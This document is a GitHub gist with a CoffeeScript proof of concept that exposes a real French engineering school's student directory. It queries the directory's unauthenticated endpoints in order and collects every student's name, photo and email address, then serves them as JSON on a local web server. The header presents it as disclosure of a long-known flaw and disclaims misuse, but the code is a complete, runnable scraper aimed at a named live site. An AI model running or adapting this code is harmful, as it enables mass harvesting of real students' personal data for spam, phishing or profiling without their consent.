Skip to content

Instantly share code, notes, and snippets.

@babolivier
Last active April 12, 2016 18:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save babolivier/ff9c8116436d440ffd3d9b4cf3e46536 to your computer and use it in GitHub Desktop.
Save babolivier/ff9c8116436d440ffd3d9b4cf3e46536 to your computer and use it in GitHub Desktop.
#!/usr/bin/env coffee
#################################################################################
# This is a proof of concept to demonstrate the lack of security of ISEN Brest's#
# who's who (trombinoscope). In order to have it running stand-alone, just copy-#
# paste this file, cd to the paste's directory, install node.js, npm, then run: #
# # npm install -g coffee-script #
# $ npm install request cheerio async express printit #
# Then, all you have to do is to run #
# coffee ./[FILE_NAME] #
# or #
# chmod +x [FILE_NAME] && ./[FILE_NAME] #
# And open a browser to 127.0.0.1:1337 #
# The page will take a while to load, but will deliver all the data available in#
# JSON (don't forget to take a look at the logs in the console). As there's a #
# lot of data, I strongly advise you to install a JSON-rendering extension on #
# your browser. #
# #
# DISCLAIMER: This script exists solely to shine a light on a vulnerability #
# known for more than 6 months. I do not consent, let alone authorise, any #
# maleficent use of it. #
#################################################################################
request = require 'request'
cheerio = require 'cheerio'
async = require 'async'
express = require 'express'
printit = require 'printit'
app = express()
log = printit
prefix: 'isen:trombino-poc'
date: true
currentCycle = ""
params =
defaultEmailTag: "mail isen"
defaultTag: "ISEN-Etudiant"
# getAll: Get all the trombinoscope's content
#
# next(err, results); results: An arranged (see @rearrange) object containing
# all the students
getAll = (next) =>
getCycles (err, results) =>
if err
return next err
else
async.mapSeries results, getList, (err, results) =>
next null, rearrange results
# getCycles: Get the cycles (CIR, CSI, Majeures, BTS...)
#
# next(err, cycles); cycles; An array containing all the cycles
getCycles = (next) ->
request.post
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_cycles.php'
, (err, status, body) ->
if err
next err
else
cycles = []
$ = cheerio.load body
$('option').each (i, elem) ->
if $(this).html() isnt 'Cycles'
cycles.push name: $(this).text()
next null, cycles
# getList: Get a list of years, groups and students for a given cycle
#
# cycle: An object, cycle.name being the cycle's name
# next(err, results); results: The said list
getList = (cycle, next) =>
currentCycle = cycle.name
requestYears (err, results) ->
if err
next err
else
next null, results
# requestStudents: Requests and parse all the students for a given group
#
# groupe: The given group, as an object, with groupe.name being its name
# and groupe.students being the students in it
# next(err, groupe); groupe: The modified "groupe" parameter. The students
# objects look like this:
# {
# name: "Brendan Abolivier"
# photo: "https://web.isen-bretagne.fr/trombino/img/844236.jpg"
# email: "brendan.abolivier@isen-bretagne.fr"
# }
requestStudents = (groupe, next) ->
request.post
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_etudiants.php'
form:
choix_groupe: groupe.name
nombre_colonnes: 5
, (err, status, body) ->
if err
next err
else
students = []
$ = cheerio.load body
if $('td#tdTrombi').length isnt 0
for img in $('img')
if path = img.attribs.src.match '\.\/(.+)\.(jpg|png)'
img.attribs.src = 'https://web.isen-bretagne.fr/trombino/'+path[1]+'.'+path[2]
# If you're reading this you have no life
$('td#tdTrombi').each (i, elem) ->
students.push
name: $(this).children('b').text()
photo: $(this).children('img')[0].attribs.src
email: $(this).children('a').text()
log.info 'Successfully retrieved '+students.length+' students in group '+groupe.name
groupe.students = students
else
groupe.students = []
log.info 'No students retrieved from '+groupe.name
next null, groupe
requestGroups = (annee, next) =>
request.post
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_groupes.php'
form:
choix_annee: annee.name
choix_cycle: currentCycle
statut: 'etudiant'
, (err, status, body) =>
if err
next err
else
groupes = []
$ = cheerio.load body
$('option').each (i, elem) ->
if $(this).html() isnt 'Groupes'
groupes.push name: $(this).text()
annee.groupes = groupes
log.info 'Successfully retrieved '+groupes.length+' groups from year '+annee.name
async.mapSeries annee.groupes, requestStudents, (err, results) ->
if err
next err
else
next null, name: annee.name, groupes: results
requestYears = (next) =>
request.post
url: 'https://web.isen-bretagne.fr/trombino/fonctions/ajax/lister_annees.php'
form:
choix_cycle: currentCycle
, (err, status, body) =>
annees = []
$ = cheerio.load body
$('option').each (i, elem) ->
if $(this).text() isnt 'Années'
annees.push name: $(this).text()
log.info 'Successfully retrieved '+annees.length+' years from cycle '+ currentCycle
async.mapSeries annees, requestGroups, (err, results) =>
if err
next err
else
next null, name: currentCycle, annees: results
rearrange = (results) =>
students = {}
cycleName = anneeName = groupeName = ""
for cycle in results
cycleName = cycle.name
for annee in cycle.annees
anneeName = annee.name
for groupe in annee.groupes
groupName = groupe.name
for student in groupe.students
if student.email
if students[student.email]
students[student.email].tags.push groupName
else
name = student.name.match /([^ ]+) (.+)/
students[student.email] =
fn: student.name
n: name[2]+';'+name[1]+';;;'
photo: student.photo
datapoints: [{
name: "email"
value: student.email
type: params.defaultEmailTag
}]
tags: [params.defaultTag, cycleName, anneeName, groupName]
students
app.get '/', (req, res, next) ->
getAll (err, results) ->
res.status(500).send err if err
res.status(200).send results if not err
app.listen '1337'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment